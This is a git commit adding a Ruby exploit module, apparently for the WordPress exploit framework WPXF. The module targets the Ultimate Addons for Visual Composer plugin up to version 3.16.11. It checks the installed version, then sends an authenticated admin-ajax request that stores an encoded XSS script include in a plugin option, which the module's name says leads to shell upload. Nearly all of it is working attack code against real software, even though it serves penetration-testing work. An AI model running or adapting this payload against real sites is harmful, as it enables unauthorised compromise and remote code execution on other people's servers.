Add Ultimate Addons for Visual Composer stored XSS shell upload

Author: rastating

modules/exploits/ultimate_addons_for_vc_authenticated_stored_xss_shell_upload.rb

@@ -0,0 +1,46 @@
+class Wpxf::Exploit::UltimateAddonsForVCAuthenticatedStoredXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StoredXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Ultimate Addons for Visual Composer <= 3.16.11 Authenticated Stored XSS Shell Upload',
+      author: [
+        'WpHutte',                        # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8821'],
+        ['URL', 'http://wphutte.com/ultimate-addons-for-visual-composer-v3-16-10-xss-csrf-rce/']
+      ],
+      date: 'Apr 16 2017'
+    )
+  end
+
+  def check
+    readme = normalize_uri(wordpress_url_plugins, 'Ultimate_VC_Addons', 'README')
+    check_version_from_custom_file(readme, /Version:<\/strong>\s((\d+\.?)+)/, '3.16.12')
+  end
+
+  def requires_authentication
+    true
+  end
+
+  def vulnerable_page
+    full_uri
+  end
+
+  def store_script
+    execute_post_request(
+      url: wordpress_url_admin_ajax,
+      cookie: session_cookie,
+      body: {
+        'action'                                => 'update_ultimate_options',
+        'ultimate_smooth_scroll'                => 'enable',
+        'ultimate_smooth_scroll_options[speed]' => Utility::Text.rand_numeric(2),
+        'ultimate_smooth_scroll_options[step]'  => "#{Utility::Text.rand_numeric(2)}; #{xss_ascii_encoded_include_script}"
+      }
+    )
+  end
+end